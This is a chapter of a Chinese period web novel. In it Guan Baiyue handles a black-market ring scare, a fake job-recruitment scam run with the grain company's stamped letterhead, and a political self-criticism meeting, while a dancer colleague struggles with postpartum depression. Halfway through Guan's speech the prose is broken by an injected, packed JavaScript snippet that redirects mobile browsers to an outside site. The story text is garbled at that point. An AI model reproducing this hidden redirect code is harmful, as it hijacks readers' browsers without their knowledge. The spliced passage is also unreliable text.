关百钺点点头,走过去道:“沈爷爷,您这是又想起哪场仗了?” 沈老哼一声:“不用你来劝老子。老子知道,那时候打仗是不得已,如今外交也是不得已,我还没老糊涂。” 他伸出大手,指着一处,露出回忆的神情:“老子就是想起那次撤退了。要不是城子和文婉,这个大院儿一半的人都得死。” 说着抚了抚地图,叹口气,良久,抬头时,眼神儿已经恢复严厉:“高家那小子是不是找你麻烦了?” 关百钺笑着道:“没有,沈爷爷,您还不知道我嘛,我这么聪明,谁能找着我的麻烦?” 沈老点了点这小子:“你啊,跟你爷爷一样,狡猾狡猾的。” 沈爱军右手拿着茅台,左手捏了三个杯子,适时开口道:“爷爷,咱们三个今儿喝一回?” 沈老拿起桌上的毛笔就投过去:“你小子,又拿老子的茅台!” 沈爱军闪身躲过,哈哈哈的笑,关百钺凑趣儿:“沈爷爷,我也早就眼馋您的茅台了。您就可怜可怜我,让我喝一杯吧,不然以后我可不来了。” 沈老哼一声:“就这一瓶,其他的可不能给你们喝。” 说笑着,沈爱军和关百钺坐到沈老两边,一个接一个地问打仗的事儿。老爷子最常怀念的也是那段岁月,本来不想说的,被两人问得没办法,只得开口讲起了古。这一开口,就没刹住车,直讲到晚上十一点,才模模糊糊睡着了,鼾声震天。 将老人送到床上,蹑手蹑脚地出屋子,沈爱军这才擦擦头上的汗:“终于睡着了,你不知道,这几天都不好好睡觉,爸妈他们在外面带兵也不回来,我自己也劝不过来,幸亏你今儿来了,不然非得病不可。” 关百钺摆摆手:“客气什么,有什么事儿只管去找我。” 沈爱军本想让关百钺两口子留下的,谁知关百钺道:“那可不行,清云认床,在你家要睡不着的。” 明晃晃的秀恩爱啊,沈爱军点点关百钺,哭笑不得。 安安八点的时候就困得睡着了,关盈钺和师援军也跟着告辞,如今沈家只剩下关百钺和章清云两人。 送两人出门时,沈爱军低声道:“高武那小子要是过分了,只管跟老爷子告状,没事儿的。” 关百钺点头:“行,不过这小子不难对付,别担心。” 谁知话说出去没几天,出事儿了。 这日晚上,快十点了,关百钺和章清云都准备睡了,陶勇悄悄敲响了关家的门,坐下时一脸的羞愧,自责当时办事儿不谨慎,他说:“当时拿了高武的东西,我想着见者有份,就给了小海和小能一人一个金戒指。” 关百钺点点头,这也不能说陶勇办错了,那么多东西,谁看了都得眼红,不给出去一些说不过去。 只听陶勇继续道:“坏就坏在金戒指上了。小海他妈生病,得做手术,家里的钱不够,这小子也不知道怎么想的,竟然不跟兄弟们开口,直接去黑市把戒指卖了!当时就被黑市里守着的人盯上了,趁着小海一家人都在医院的空挡,把家里翻了个空。没找到其他的金子,可能是泄愤吧,连着三晚套了小海的麻袋。小海这才觉得事儿不对,跟我说了。我就怕......” 他看向关百钺:“就怕那戒指被高武发现,要是顺藤摸瓜查到小海,百钺,咱们做的事儿就瞒不住了。” 关百钺伸手敲了敲桌面,沉吟道:“如今离卖戒指那日,几天了?” 陶勇伸出一只手:“五天。” 关百钺:“小海还记得,当时戒指是卖给谁了吗?” 陶勇脸色难看:“他说不知道,黑市的这种交易,都是蒙面的,当时连声音都没出,就是连蒙带比划的,完成了交易。” 这就是说,别人知道小海的身份,但小海对对方一无所知。这就不好办了,关百钺思索片刻,道:“这样,勇哥,一时半会儿的,我也想不到办法。你先回吧,明儿咱们再商量。” “行。”陶勇很干脆地起身,“这事儿是我办差了,之后怎么办你说,我亲自去办。” 等送走了陶勇,章清云低声问:“你打算怎么办?” 关百钺闻言笑道:“当时高武那些东西,有一部分是给了季长善的,这事儿就是陶勇做的。在高武看来,他的东西是季长善拿了的,一时半会儿想不到咱们身上。 如今最重要的是搞明白,买戒指的和跟踪小海的,是不是同一拨人。 如果是同一拨人,那就得想办法,让高武把小海和季长善联系在一起。 如果不是同一拨人,那好办,什么都不需要做,高武只会认为是季长善偷偷卖了他的东西。” 章清云皱眉:“可陶勇不是说都蒙着面呢嘛,小海都不知道是谁买了戒指,你怎么查?” 关百钺轻笑:“那就得问问程叔叔了。” “程正道?” 关百钺笑得一脸玩味:“是啊,黑市的事儿,瞒过谁,也不会瞒得了他的。”或者说,程正道才是黑市背后的东家。 他起身道:“你早点儿谁,我去一趟程家。” 章清云打了个呵欠,这人,肯定又要去坑人了,她道:“那你早点儿回来。” 关百钺顿了顿,路过章清云时,伸手揉揉她的头,笑着说:“好,去睡吧。” 翌日,特意将陶勇叫到办公室,关百钺笑着道:“勇哥,别担心,事儿办妥了,高武那边不会出幺蛾子的。” 昨日在程家,事儿一说,程正道就让关百钺放心:“黑市的人懂规矩,不会说出买主信息的,这个不用担心。” 关百钺一想也是,黑市存在的根基之一,就是隐蔽。要是连信息都不能保密,谁还敢去?他也是固化思维了,以为跟后世一样,很多信息都是公开的,不需要隐瞒,却忘了,很多时候,信息就意味着金钱。 听到这里,陶勇才总算是放下了心,他从怀里掏出另一枚戒指,递过去道:“那就好,这是给小能的那颗戒指,你拿着。” 陶勇肯定是花了钱收回来的,但关百钺能给陶勇钱吗?给了那是打陶勇的脸呢。陶勇铁定是觉得事情办遭了,这个责任他得负,这才如此行事的。这时候接着就是了,以后多关照关照陶勇,情也就还上了。 关百钺接过来,没说什么,只点点头,安慰高勇道:“没事儿,别担心,高武那边我一直看着呢,惹不了大麻烦。”有程正道这个大杀器,就是十个高武,也蹦跶不起来。 进入九月,章家发生一件喜事儿,结婚两年多的唐春梅终于怀孕了。这日下班,章清远气喘吁吁地来文工团,看见出来的章清云直摆手:“姐,姐,妈说让你和姐夫今晚回家吃饭。” 有人调侃:“哟,清云,你这嫁了人还时不时回娘家吃饭啊?也不怕你弟弟嫌弃你。” 章清远哼一声,气鼓鼓地道:“我才不嫌弃我姐!” 跟青蛙一样,章清云看得好笑,跟队友们挥手告别,这才走过去拍了拍章清远的肩膀:“家里发生什么事儿了?” 章清远这才不气了,嘿嘿嘿的笑:“二嫂怀孕了,大伯娘高兴,包了饺子,让你和姐夫回去吃饭呢。说是多亏你当初领着去军医院看,要谢你呢。” 这个不好推辞,章清云笑着说:“行,先回关家,你姐夫这两天盯着机器呢,应该要晚一点儿才回来。”冻干机有了订单,这两天机械厂正加紧生产,关百钺正盯着技术部门写产品说明书呢。 好在今天关百钺没晚多久,两人到家才半个小时,关百钺就下班了。路上,关百钺问:“小远,有没有想过两年后要做什么?”如今初中和高中都是两年制,两年后章清远高中毕业,要是想当兵,这时候就要准备起来,不能事到临头再走关系。 章清远挠挠头,望向关百钺道:“姐夫,我......我想学医。” 这倒是让人没想到。关百钺沉吟道:“军医怎么样?要是觉得行,恐怕得先当两年兵,再考军校,这样比较容易。”没有高考,上大学又只有推荐这一条路,章清远要是不当兵,就只有下乡,然后走推荐上大学这条路了。说实话,真不如去当兵,然后考军医这条路好走。 章清远嘿嘿嘿的笑:“行,只要能学医,当兵两年没问题。” 章清云这才松口气,就怕这小子死犟着。 到了章家,唐春梅一脸的喜色,一看就知道养得不错,章清云也替这个二嫂高兴。饺子是三鲜馅儿的,十分鲜美。热热闹闹吃过饺子,邵华又收拾出一小篮子的干菜,递给要走的章清云:“清宇和司南晒的,知道你爱吃蘑菇,让给你多匀一些。拿着吧,冬日里吃个新鲜。” 虽然有冻干机,可那毕竟是厂子里的东西,不敢太明目张胆。还是干菜好,来源清晰,又耐保存,比整日翻动白菜方便多了。 一进入九月,没过几天,青江市迅速入冬,秋季简直就像是一场流光,一闪而逝。十一汇演章清云要主跳,又因为这一年大联欢特别受欢迎,她还要做主持人,一时间比关百钺还要忙。 男主持人还是沈洲,不过因为古美的高调,大家都知道沈洲有女朋友,倒是没人因为那张大字报,对章清云和沈洲指指点点。 说起来,七八月暑假的时候,古美还特意找章清云了几次,还和程紫鹃碰到了,因着大夏天,没什么好去处,三人只在国营饭店吃了顿饭。开学前,古美特意来找章清云,道:“等冬天放寒假了,咱们去冰场,痛痛快快滑一场。” 章清云:“一言为定?” “一言为定。” 章大伯家喜信不断,唐春梅查出怀孕不久,大儿媳宋甜甜又诊出有孕,明年就是两个大胖孙子孙女,一时章砚廷和邵华是又喜又愁的。几次在关百钺和章清云回家时,询问奶粉票的事。这年头奶粉票难弄啊,就是关百钺,都得走不少关系,才能弄来。 怎么办呢,这不就又给关百钺提供研发思路了嘛。自来东北这一边就是牧马放羊的地方,牧场、林场都不缺,为什么不做个奶粉厂呢?又不是没条件,市郊就有农场,规模还不小,里面牛、羊都有,很可以试一试的。 关百钺没拒绝,只说试一试,回到自家,陈静就有些不高兴。大嫂家人多,但远没到吃不饱的程度,孩子怎么养不是养,明知道事情难办还开口,这不是存心难为人嘛。 章清云一看这架势,赶紧低声劝:“妈,没事儿的,百钺没拒绝,就是他有办法,且不为难,您放心,他又不是那种不会拒绝人的老好人,要是觉得难办,他不会答应的。” 陈静一边儿倒茶,一边儿气哼哼的:“不是气这个,我是觉得你大伯娘越来越过分了。以前还有个分寸,知道什么能提,什么不能提,如今年纪大了,脸皮也愈发厚了,明知道为难还说。哼,你们以后少回来,有事儿我跟你爸去那边看你们就行,彼此少见面,看她还怎么沾你们。” 章砚臻没办法说话啊,知道媳妇儿说的是气话,可那毕竟是他大嫂,附和不是,不附和也不是,只得起身,乖乖去灶房拿东西。 路上还想呢,就说是大哥大嫂给的吧,不然怎么办,大哥大嫂家孩子多,也确实是难。 好在这次不是撒谎,章砚臻到灶房没多久,章砚廷就抱着一大块腊肉,能有个三四斤,递过去道:“给百钺和清云捎着吧。别生你大嫂的气,她也是着急,鸿星那时候就没怎么吃奶,虽然如今看着好些了,但刚生下来那一年没少生病,她也是怕这俩孩子生下来,跟当年鸿星似的。” 章砚廷掏出一根烟,在鼻子下闻了闻,继续道:“我恍惚听车间里的人说,百钺那个方便面厂要招工?你问问百钺,消息真不真?有人跟我打听,我是没听百钺说过这个事儿,不知道真假。” 章砚臻皱眉:“哥,你等一会儿,我去叫百钺来,这不是小事儿,得让百钺心里有数。” 说着将腊肉放到灶台上,去东厢叫了关百钺过来。 一听要招工,关百钺皱眉:“没有的事儿,现在招工多难啊,手续多着呢。大伯,您是听谁说的?” 章砚廷也严肃了脸,将烟压到耳后,说:“我那二徒弟的岳家有人下乡,这不是前两个月回来了,说是听人说了招工的事儿。二徒弟他觉得不把稳,前几天问了我,我才想着跟你说一说的。这么说,没招工的事儿?” “没有!”关百钺说的斩钉截铁,转头对老丈人道,“爸,大伯,我得回去一趟,这事儿得跟领导说一声,搞不好得报警。这是有人打着招工的旗号诈骗,必须得严肃处理!” “行,那你快点儿,别真出什么事儿。” 章砚臻和章砚廷一个比一个着急,章清云也不跟着了,这是粮油公司内部的事儿,还是丑闻,她跟着不合适。 整个周末,都在处理这个招工诈骗的事儿,办公室的几个笔杆子第一时间写了声明,就张贴在各个工厂和粮油公司总部的门口,让大家看一看,并没有招工,不要上当受骗。 可惜,还是晚了一步。当晚就有人带着受骗的姑娘找去了粮油公司,说是被粮油公司的领导骗了,让他们负责。 周局十分严厉:“哪个领导,叫什么名字,你说出来,我们一定法办!” 被害的姑娘叫王晓丽,正是之前章砚廷嘴里的那个徒弟亲戚家的孩子,特意从农村过来的知青。为了留在城里,这姑娘也是拼了,领导大晚上的约她出去,她也跟着去,此时哭着道:“我怎么知道他是骗子,他有你们粮油公司的信纸、信封。” 说着从身上掏,抖了抖道:“喏,他说粮油公司有个机械天才,什么机器都能造出来,早晚得招工,让我拿着这个介绍信去报名,肯定会录取的。” 周局接过信看了看,特意点了点盖印的地方,这才递给其他人,继续问:“你口里的领导叫什么?是男是女,多大年纪,身上有什么特征?” 王晓丽也不傻,知道被骗了,低着头哭,却偷偷抬起眼珠子,在几个领导脸上皴寻。 这么明显的算计,领导也不是吃素的,能看不出来?周局一拍桌子,厉声道:“说实话!要是胡乱攀咬,可是要治罪的,你考虑清楚。” 王晓丽这才老老实实低下头,小声道:“他说他是周局的小舅子,叫......叫刘贵民。” 周局都气笑了,他指着自己问:“你知道我是谁吗?” 王晓丽迟疑着摇摇头,周局哼一声:“我就是周局,我小舅子姓林,根本就不姓刘!” 王晓丽哇一声哭了,边哭边号:“我怎么知道,他说他叫刘贵民,手里拿着你们的介绍信,你们......你们得负责啊!他打着粮油公司的旗号骗人,还有......还有印章,对,那印章可不是假的吧?” 见领导们没反驳,王晓丽顿时理直气壮了,她坚持:“你们得负责!我们小老百姓,怎么知道那是骗人的!” 说着还冲父母使眼色,王父和王母见状,往地上一坐,嗷嗷地哭上了。这俩早年也是村里出来的,老太太哭坟还不会嘛,拍着大腿拿腔拿调地哭,一时间办公室热闹地像是在办丧事。 好在关百钺及时去报警,领着四个戴着大檐帽的同志进来,及时中止了这场闹剧。抓诈骗犯是警察的事儿,粮油公司要做的,是安抚王晓丽,以及开展自查自纠,尽快揪出蛀虫。 有一点王晓丽说对了,办公室有人监守自盗,私自拿着空白且盖着大印的纸张回家,才是这场闹剧能够进行的前提。人员不难锁定,关键是得给大家紧紧弦。 如何安抚王晓丽的,关百钺不知道,只是第二日,粮油公司就开了全体职工大会,专门说招工诈骗这个事儿。 本来关百钺帮着粮油公司建了两个厂子,吸纳了很多下乡的内部子弟,在粮油公司是很有人缘儿的,可如今一要自查,牵扯到自身的利益了,那些没有子女下乡的人嘟囔开了,特别是相关科室的,意见格外大。 “要不是办了那个什么方便面厂,能出这么多事儿吗?如今都以政治为纲,还整天撺掇着建厂搞经济,这是对现状不满,以另一种形式对抗大运动呢。” 有那因为关百钺没将大学推荐名额还给总部,而不满的,也跟着大声蛐蛐:“可不是,咱们每天都是伟人思想学习,人家呢,整天看机械方面的书,咱也不知道这是什么觉悟,是吧?” 更有眼红关百钺被评为先进的,讥讽道:“口号喊得挺好,支持大运动,可做的却全然不是那么一码事儿!这是思想觉悟不过关!” 这就是要扣大帽子了。关百钺能让人这么欺负?他当场站起来表态:“既然大家怀疑我的思想有问题,那我就在这里做一下思想汇报,也说一下我对这件事的反思,请各位领导批评指正。” 思想汇报和反思都是如今倡导的,这谁也没办法阻止,于是周局等一干领导带头鼓掌,听他的自我剖析。 “首先说榨油机械厂,当初想着建这个厂,也是觉得需要最大限度地利用大豆资源。大家应该知道,大豆是咱们出口创汇的重要产品。六六年到六八年,大豆出口额从五十五万吨,增加到五十七万吨。但是到了七零年,一下子降低到四十一万吨,今年更是减少到三十七万吨。 是,农业是靠天吃饭,这两年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483103|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能是有自然灾害,大豆减产了。但是同志们,咱们为国家出口创汇少了啊。一想到这里,我就心痛,就想着,如何最大限度地为国家做贡献呢?” 关百钺脸色十分的严肃:“六零年,那么苦,大家还勒紧裤腰带还账,如今咱们基本能吃饱肚子了,是不是得想办法做些什么?当然,先保证农民兄弟们有饭吃,在这个前提下,再谈出口创汇。 怎么办呢?提高大豆的利用率,用最少的大豆,榨出最多的油,保证足够的出口创汇额,这是我提升大豆出油率的初衷,也是我改进榨油工艺的初衷。” 掌声雷动,这是思想不过关吗?明明是心系国家嘛。领导们隐晦地对视一眼,都从彼此眼里看到了笑意。 提起出口创汇,很多人第一反应就是改开之后那些年,但其实这十年,出口创汇从来没断过。发达国家封锁,那就和东欧、非洲、南美等国家合作,提供产品,换成美元购买更先进的技术。如今提起出口创汇,那也是政治任务,谁还敢说关百钺不关心政治? “至于方便面厂,大家可能不知道,其实我参与研发的,是冻干机。冬日里蔬菜品种少,咱们的很多边防战士、远洋战士,几乎都有夜盲症。为什么?就是因为摄入绿叶菜不足。 大家也知道,我家和部队大院那边有渊源,这些都是部队的那些叔叔伯伯告诉我的。知道之后我就心痛啊,就想着如何延长蔬菜的保存时间,给咱们的战士多提供蔬菜。 这是我研发冻干机的初衷。研发出来后,咱们的领导呢,比我想的更全面,提出将冻干蔬菜和方便面搭配着吃,能够更迅速地补充营养,说不定还能当军粮,这是好事儿,为什么不办呢?” 是啊,为了军人嘛,谁能说什么!那些挖苦讽刺关百钺的,被堵了个哑口无言,还不能不跟着鼓掌。人家又红又专的,你凭什么不鼓掌? 台上的领导更是欣慰,这是即剖白了自己,又替他们找了理由,还给方便面厂和未来的冻干机厂指出了一条路,那就是和军队合作,为战士们提供冻干蔬菜,提供更方便快捷的军粮。 周局看了下一把手,见他微微点头,敲了敲话筒,示意关百钺坐下,这才说:“好,关百钺同志说的好,咱们有些同志不要只想着自己的利益,眼光要放长远。这次会议说的就是自查自纠的事儿,关百钺同志已经通过了自纠,接下来就是咱们的办公室人员自查自纠了。各科室领导......” 会议终于进入了正题,坐下的关百钺却开始走神儿。要说这次的事儿对关百钺没影响,那也不尽然。起码奶粉厂的事儿得延后,必得有了成熟的机器,才能提。 十月份去方便面厂检修机器的时候,关百钺再次见到了王晓丽,才知道领导们将人安排在了车间。他撇撇嘴,什么时候,能豁得出去脸面闹的,最终都能得到想要的。那些在乡下老老实实插队的,却因为她,少了一个机会。 因着心情不好,关百钺连续几天拉着脸,章清云看不下去了,不就是不开心嘛,好办,出去耍一耍,出出汗,什么事儿都忘了。 于是这晚都八点半了,章清云笑嘻嘻的道:“今儿冰场开门,咱们去滑一场?你这个身体会吧?” 这就有点儿瞧不起人了吧?关百钺哼一声:“原身可是顽主!”顽主,能不会滑冰?! 章清云拉着他起身:“既然会,那就去嘛,咱俩比比,看谁滑的好!” 关百钺脸一僵,这就不必了吧?你两辈子都是靠运动吃饭的,我这三辈子了,都是靠脑子的,如何能比?不公平嘛。 他屁股沉着就是不起来,章清云嬉笑着去咯吱关百钺的腰,两人打闹了一阵儿,这才收拾好去冰场。 人还是那么些人,季长善带着一群人,满冰场的调戏小姑娘,看着没心没肺的。洪常胜却没了往日的嬉皮笑脸,正经和一个姑娘说说笑笑的。 章清云捅了捅关百钺的腰:“常胜谈对象了?” 关百钺淡淡地瞄了一眼,耸耸肩:“十八了,也该谈了。” 两人正谈论呢,那边的洪常胜挠挠头,带着姑娘过来了,脚步十分轻盈:“百钺哥,嫂子,你们也来滑冰啊。” 章清云笑着指了指两人:“是啊,你这是?” 洪常胜嘿嘿嘿的笑:“那什么,嫂子,这是我对象,常碧云。” 章清云眨了眨眼,见过的吧?怎么瞧着有些眼熟。 常碧云翘起嘴角,笑道:“不记得我了?两年前冰场,我和段虹来滑冰,你还帮我俩赶走了季长善,记得吗?” “是你啊。”章清云一拍手,乐道,“真是缘分,没想到还能见到。季长善之后没找你麻烦吧?” 常碧云不在意地摇摇头:“没有,大院的女孩子他不敢乱动的。没想到你都结婚了,我听常胜说,你是芭蕾舞演员,以后我要想看了,找你要票啊。” “没问题。” 四个人有一搭没一搭地聊着,滑了有半个多小时,累了,洪常胜主动买了四碗红果汤,刚坐下没多久,冰场必不可少的打群架项目开始了。 原来不知道什么时候,程卫东竟然也来了,还和季长善起了冲突。好在晚上冰场巡逻的警察多,双方没打多久,就被警察制止了。 洪常胜:“......”以前不觉得,今天看,怎么觉得打架的那些人,看着那么不着调呢?却忘了,他曾经也是那些人里面的一员。 章清云撇嘴:“姚燕妮再不好,配程卫东还是绰绰有余的吧?撇下孩子来这里潇洒,这是没把姚燕妮放在眼里啊。” 不是章清云圣母,姚燕妮可正值哺乳期呢,三个月的产假都没休完,程卫东就这么猴急? 洪常胜哼一声:“明儿跟我姐说一声,看姐夫要不要管吧。” 虽然有小插曲,运动的效果还是不错的,翌日关百钺神清气爽,研发奶粉及相关机器的信心都更足了。 文工团这边,姚燕妮提前来上班,脸色十分憔悴。向党险些没认出来,她劝道:“燕妮,不用急着上班,你的产假还没休完,在家好好陪陪孩子......” 谁知姚燕妮的眼神儿立时充满惊惶,她连连摆手:“团长,让我上班吧,我不要带孩子,不要。” 向党还以为姚燕妮带孩子太累了,笑道:“坐,别站着。小孩子都这样,刚出生,什么也不懂,吃饱了睡,睡醒了哭,别怕,慢慢长大就好了。你多带带,孩子记得你的味道,慢慢就不闹你了。” “不是!”姚燕妮的声音陡然尖锐起来,很有些歇斯底里,她说,“他就是个恶魔,天天哭,天天哭,程卫东最近都不着家,就连爸都开始住办公室了,只有我一个人,一个人......” 说着说着,姚燕妮突然泪流满面,抱着头蹲在地上:“团长,我......我不是个好妈妈,我想爱孩子,可我......我看见他就觉得累,觉得害怕。您看看我,我腿上的肌肉都没了,胳膊也松了,我是不是再也跳不了芭蕾,再也没办法上台了?可我想上班,我不要带孩子......” 最后什么也说不出来,只一个劲儿呜呜地哭。 向党唬了一跳,忙去看办公室的门,谁知怕什么来什么,门没关,姚燕妮的话全被好奇的人听了去。 最爱挑刺儿的孙副团立刻跳了出来,指着姚燕妮道:“你看看你,像什么样子!为母则刚,你哪有一点做母亲的样子!小孩子哭一哭多正常,你就这么出来,那孩子如今谁带?不会留下孩子一个人吧?” 她板起脸,十分的严肃:“团长,赶紧派人去程家看看,不能......” 姚燕妮吸了吸鼻子,低声道:“我妈......我妈看着呢。我想上班,我不想带孩子。” 孙副团掐腰:“你这是什么话!孩子是你生的,你怎么能不带。不要觉得出身好,就要有什么特权,告诉你,都一样,生了孩子,都得好好养......” “孙副团,姚燕妮好像没说要搞什么特权吧?”章清云忍不住插话,“姚燕妮有工作,申请提前到岗不违规吧?而且孩子是两个人的,他丈夫程卫东是孩子的父亲,目前工作也不忙,为什么不能帮着带孩子? 您看看姚燕妮,被孩子折磨的眼眶都是黑的,她已经尽心了。相反,昨晚我看到孩子的父亲程卫东,撇下孩子去冰场滑冰,还因为撩骚姑娘打群架,没有做好一个父亲该做的。我觉得咱们应该保护自己的同志,而不是上来就批评。” 不是要帮姚燕妮,而是她明显患上了产后抑郁,这种时候,女人更应该帮助女人。等她好了,要是再做什么不好的事,章清云不会手软,但不包括此刻,攻击一个产后抑郁的女人。 向党脸色十分严肃,她问:“程卫东真的去滑冰,还打架?” 见章清云点头,向党当即拨了个号码:“喂,我找程正道。” 孙副团急得团团转,等向党告完状,她急忙道:“团长,您太冲动了!说不定程家那小子去冰场是有什么事儿呢,不能章清云说什么您都信啊。而且大男人,哪儿有关在家里带孩子的,因为这个就告状,你也太......您就不想想咱们今年的评选?!您这么做很不恰当。” 向党摆摆手:“老孙,你去忙吧,队员们的工作向来都是我直接负责,你是做后勤工作的,咱们彼此不要交叉,好吗?” 孙副团哼一声:“团长,我也是团里的一员,有权利发表意见。”说着瞪了众人一眼,转身离开。 向党挥手,让其他人也离开,等只剩下姚燕妮时,她才说:“燕妮,当时招你进来,是文芳和我都同意了的。本来以为你能和清云并肩,成为咱们的台柱子,没想到你这么早嫁人。 虽然如此,我们也都尊重你的选择。如今既然生了孩子,就不能放着不管。你可以回来上班,但请试着不要去讨厌孩子,试着接纳他......” 向党的声音不疾不徐,缓缓治愈着姚燕妮。而训练室那边,因为姚燕妮生产前后的巨大变化,姑娘们一时陷入了沉默。 60. 煤矿业余文工团 文工团的女队员们不愁嫁,相反,她们可以嫁的很好。可那样真的就幸福吗?姚燕妮嫁的不好吗?可她今儿脸色蜡黄,眼神儿无光,一看就知受了磋磨。这还是在没有婆婆为难的情况下,要是运气不好,嫁给一个有恶婆婆的人家.... 越想越不是滋味,以前觉得姚燕妮过早结婚生子没错的,也开始动摇。特别是孙巧云,以前经常开玩笑似的让姚燕妮介绍对象,这时候也神思不属起来。 周文芳看在眼里,却没说什么。早晚都得过这一关。看得开的,像是章清云,知道女人也要有自己的事业,能继续在舞台上挥洒汗水。看不开的,只会觉得姚燕妮傻,看不住男人,换成她许是就不一样了。每个人最终都能逻辑自洽,然后继续心安理得的生活。 可能是向党的告状和劝说起了作用,之后半个月,姚燕妮的脸色逐渐好转,脸上的灰败之气渐渐没了,取而代之的是平静,是让人看不出情绪的面无表情。 十二月,在第三场雪花飘落的日子里,司南在三河大队产下一子,章清宇直接取名章鸿运,洗三之后才往章家报喜,让邵华好一顿排揎。邵华也不含糊,花十块钱请了一个月的代工,准备自个儿收拾收拾,回三河大队照顾儿媳妇的月子。不是不让司南回来,这冰雪寒天的,司南一个孕妇,不好出屋子。 作为司南的母亲,董巧云本来想请假去照顾的,谁知邵华动作这么快,董巧云听说的时候,邵华的假都请好了。没办法,董巧云只得多淘换了一些鸡蛋,还特意买了两只老母鸡,让邵华带着,给闺女补身体。 正好周日,关百钺和章清云也跟着回了三河大队。去了才知道,今年冬天,农村还是不消停,不仅开始批判猫冬的说法,还提出要在冬天兴修水利,为来年春耕灌溉做准备。 好在经过了去年的事儿,这次公社派下来的人不再跟打了鸡血一样盯着,大队的人能磨洋工就磨洋工,来帮忙的众人也没去年那么累。 回去的路上,关百钺有些沉默。等和章家众人分开,章清云才问:“担心魏雪?” 关百钺叹气:“卢建设这么折腾,肯定是想要明年的大学生名额。他们俩不可能都去的,魏雪......估计会缠着卢建设登记结婚。”明年两人可都到年纪了。 章清云笑着道:“不是说只要你不倒,卢建设就会对魏雪好吗?怎么,没信心继续长盛不衰?” 关百钺瞥了章清云一眼:“你啊,幸亏是在家里,出去可不能乱说话。”什么长盛不衰不长盛不衰的,这说法可要不得。 转眼到了七三年,开年就遇喜事儿,关盈钺再度怀孕,关百钺加紧研发奶粉相关机器,争取在这个外甥或外甥女出生前,将机器做出来。 从师家出来,还没走到关家门前,就看到隔壁的顾云凯带着一个姑娘,从对面走来,等到了近前才发现,这不是那个被推荐上大学的孙红?这是放寒假了? 关百钺多看了顾云凯两眼,笑着和章清云回家。关上门,章清云才问:“怎么了?那姑娘你认识?” 关百钺低声说了推荐上大学的事儿,章清云这才恍然:“原来是她啊。那顾云凯找她谈对象,目的性是不是有点儿强?” 关百钺耸耸肩:“也许吧,谁知道呢。”孙红看着还挺愿意的,一脸的幸福。 两人不再讨论别人,章清云笑着转移话题:“常听人说什么油渣包子,正好姐夫给了一斤的油渣,咱们包包子?” 关百钺挽袖子,十分给章清云面子:“行。我和面,你去调馅儿。” “白菜油渣?萝卜干油渣?哪种好吃?” 关百钺想了想,道:“萝卜干吧,吃着有嚼劲儿。” “行!咱们多包点儿,今年过年早,冻外面又坏不了,过年的时候热热就能吃。” 没有私营的小馆子,章清云总算是知道,为什么以前看视频,东北人民包饺子或者包包子,一做就是一个小山包了。那是真省事儿啊,天天做饭,真的很烦。是有食堂,可食堂的菜色都是固定的,想吃点儿花样,还就得自己做。 两人在家做饭,隔壁时而传来黄咏梅咯咯咯的笑声,看样子对儿子的结婚对象十分满意。章清云撇撇嘴,继续埋头拌馅儿。 正忙着呢,门被敲响,开门才发现,竟然是陶勇和苗盼儿,旁边还有个更年轻的女孩子,和苗盼儿有三分相似,十分清秀的长相,正是苗盼儿的妹妹苗祈儿。 章清云笑:“稀客啊,快进来,怎么有时间来家里了?” 苗盼儿翻个白眼儿,脸上气哼哼的。苗祈儿低着头,右手攥着衣角,全程不说话。 见两人都不吭声,陶勇只得尴尬地笑笑,说:“那什么,有事儿问你们。” 一看就是有事儿啊,章清云也不说笑了,边让三人坐,边倒茶。陶勇不知道怎么开口,好在苗盼儿气过了,直接道:“季长善你们熟吗?” 章清云啊了一声,看看苗祈儿,又看看苗盼儿,立马心领神悟,望向关百钺。 关百钺愣了一瞬,道:“接触过,不能说熟。”这是实话,季长善是市政大院的,关百钺这个原身以前和高斌混的时候,是和部队大院以及科研大院一起的,很少理市政大院的人。 苗盼儿也不啰嗦,说明了来意:“不怕你们笑话,祈儿这丫头怀孕了!她说是季长善的,可是季长善不想娶她,这死丫头犟着,不肯把孩子做了。我是想着你们能不能把季长善约出来,咱们聊一聊,看看他到底是怎么想的。” 其实苗盼儿觉得,如今最有利的做法,是利用这个机会,让季家给祈儿找个工作,踏踏实实赚钱。男人能有工作靠谱?奈何这死丫头死活不听! 苗祈儿握紧拳头,终于抬起头,眼睛圆瞪,眼神儿透着倔强:“他......他要是不娶我,我就告他耍流氓。” 章清云心里叹气,组织了下语言,道:“你知道辛梅的那俩孩子,很有可能是季长善的吧?” 苗祈儿抿嘴不说话,苗盼儿狠狠打了她的胳膊一下:“听见了吧?我早跟你说了,没骗你,没骗你,你就是不信!如今清云都这么说了,你还要那孩子干什么!你知不知道,为了给你找个靠谱的诊所,你姐夫跑了多少关系!你就那么稀罕那个季长善?那就是个混子,屁本事没有,全靠他爸,跟着他你就能过好日子了?放屁!你......” “跟着他起码不会饿肚子!”苗祈儿不服输,眼眶红红的说,“你能找到姐夫,是你的运气,可不代表你就对了。明明可以嫁给条件更好的,为什么要低嫁?我想嫁得好,有什么错?” 她哼了一声,猛地起身道:“辛梅做不到的事儿,不代表我做不到。我不要你管,我一定能嫁给季长善!”说着在谁也没反应过来的时候,小跑着离开。 苗盼儿气得身子都抖了,顾不得跟关百钺和章清云说话,忙起身去追。陶勇想跟上,她边跑边说:“你别去了,我单独跟她说。” 陶勇只得又坐下,只觉得脸皮臊得慌,拿起水杯装模作样喝了口水,这才尴尬地道:“那什么,盼儿她爸妈还不知道呢,你俩可别说漏了嘴。” 明白,章清云忍不住八卦:“祈儿怎么认识季长善的?”这俩也没交集啊。辛梅不可能还跟季长善不清不楚的...... 陶勇没什么表情地吐出两个字:“冰场。” 怪不得。气氛再次诡异地沉默下来,陶勇呆不下去了,很快起身离开。 本以为这件事就这么过去了,谁知三日后收到高武的结婚请柬,关百钺和章清云没打算去,连看都没看,随手将请柬扔到了垃圾桶。这两年和高武闹的这么僵,两人连面子情都不打算维持。 